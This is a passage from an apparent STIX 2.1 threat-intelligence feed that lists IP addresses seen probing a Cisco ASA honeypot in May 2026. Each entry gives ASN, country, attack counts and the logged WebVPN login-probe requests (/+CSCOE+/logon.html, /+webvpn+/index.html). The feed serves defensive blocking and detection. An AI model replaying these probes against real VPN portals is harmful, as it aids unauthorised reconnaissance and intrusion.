          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-02T01:10:51.486Z",
          "last_seen": "2026-05-30T06:31:47.811Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T02:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--47644009-61ef-4712-b29c-7616f7531089",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:20:09.000Z",
      "valid_until": "2026-06-03T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-02T02:13:46.956Z",
          "last_seen": "2026-05-10T04:39:06.188Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T02:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--bfa62cf1-5a8f-4553-8cb8-9e85bc18c6e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:20:09.000Z",
      "valid_until": "2026-06-03T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-02T02:05:13.975Z",
          "last_seen": "2026-05-27T08:54:23.925Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T02:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--63c412b0-0448-4189-b5cc-0a4647e84c46",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:20:09.000Z",
      "valid_until": "2026-06-03T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-02T01:28:00.803Z",
          "last_seen": "2026-05-16T07:56:41.196Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T02:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--dbee0a5b-734e-4987-a7a4-334ff4a64c5c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:20:09.000Z",
      "valid_until": "2026-06-03T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-02T01:43:03.475Z",
          "last_seen": "2026-05-31T04:52:27.505Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T02:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7e43467b-ac1e-47b2-8252-9ab9bdcab004",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:20:09.000Z",
      "valid_until": "2026-06-03T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-02T01:46:40.788Z",
          "last_seen": "2026-05-07T09:28:24.730Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T02:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--de733e22-fa30-421c-93e0-a176afe1df7d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:20:09.000Z",
      "valid_until": "2026-06-03T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-02T01:26:07.341Z",
          "last_seen": "2026-05-04T23:50:28.470Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T02:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5006a857-c5ae-45f6-83cd-e707e9eef311",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:20:09.000Z",
      "valid_until": "2026-06-03T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-02T01:27:53.396Z",
          "last_seen": "2026-05-30T14:44:50.414Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T02:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--84180fc3-3fbb-4461-9a7b-86594f213092",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:20:09.000Z",
      "valid_until": "2026-06-03T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-02T02:10:11.716Z",
          "last_seen": "2026-05-20T03:04:55.555Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T02:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--1f6a5124-6726-4df3-9b0f-75bdbe5ee0c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:20:09.000Z",
      "valid_until": "2026-06-03T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-02T01:30:16.224Z",
          "last_seen": "2026-05-02T01:30:19.225Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T02:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--36cac3e4-ed8e-4c79-b516-4422ce8402d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.127.217.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T02:20:09.000Z",
      "valid_until": "2026-06-03T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-02T02:16:54.492Z",
          "last_seen": "2026-05-30T07:17:39.140Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--0a69a53c-96d6-4962-b2e7-6436b51d954e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:20:05.000Z",
      "valid_until": "2026-06-03T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-02T03:06:26.527Z",
          "last_seen": "2026-05-07T05:19:07.157Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a44673eb-67d4-4929-8e36-66bd5261862d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:20:05.000Z",
      "valid_until": "2026-06-03T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-02T02:46:38.136Z",
          "last_seen": "2026-05-02T07:51:02.148Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f45b04bd-8825-4847-88ae-ff8586afb386",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:20:05.000Z",
      "valid_until": "2026-06-03T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-02T03:15:30.099Z",
          "last_seen": "2026-05-29T13:34:45.289Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5ccf4b36-75db-482b-a785-7a6e2b4813ba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:20:05.000Z",
      "valid_until": "2026-06-03T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-02T03:02:32.128Z",
          "last_seen": "2026-05-27T16:22:29.906Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--09539bc5-e033-4013-bb5c-763c50e6d0a6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.119.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:20:05.000Z",
      "valid_until": "2026-06-03T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 32,
          "first_seen": "2026-05-02T03:05:25.097Z",
          "last_seen": "2026-05-30T13:38:27.243Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--beb897b4-f861-4033-9640-1eced7386530",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:20:05.000Z",
      "valid_until": "2026-06-03T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-02T02:47:42.803Z",
          "last_seen": "2026-05-27T20:54:05.416Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f0118ee3-a881-439f-94f9-6b5367979625",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:20:05.000Z",
      "valid_until": "2026-06-03T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 48,
          "first_seen": "2026-05-02T02:33:49.784Z",
          "last_seen": "2026-05-28T01:53:14.010Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--d3cff22c-c993-48d2-87e6-fffcb3f6df94",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:20:05.000Z",
      "valid_until": "2026-06-03T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-02T02:27:03.071Z",
          "last_seen": "2026-05-25T11:09:41.728Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--754c5f46-2ef0-445b-b891-397712ae911c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:20:05.000Z",
      "valid_until": "2026-06-03T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-02T02:33:30.601Z",
          "last_seen": "2026-05-28T00:51:27.228Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--6772fda2-c017-4675-a9a6-8a5452a27990",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:20:10.000Z",
      "valid_until": "2026-06-03T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
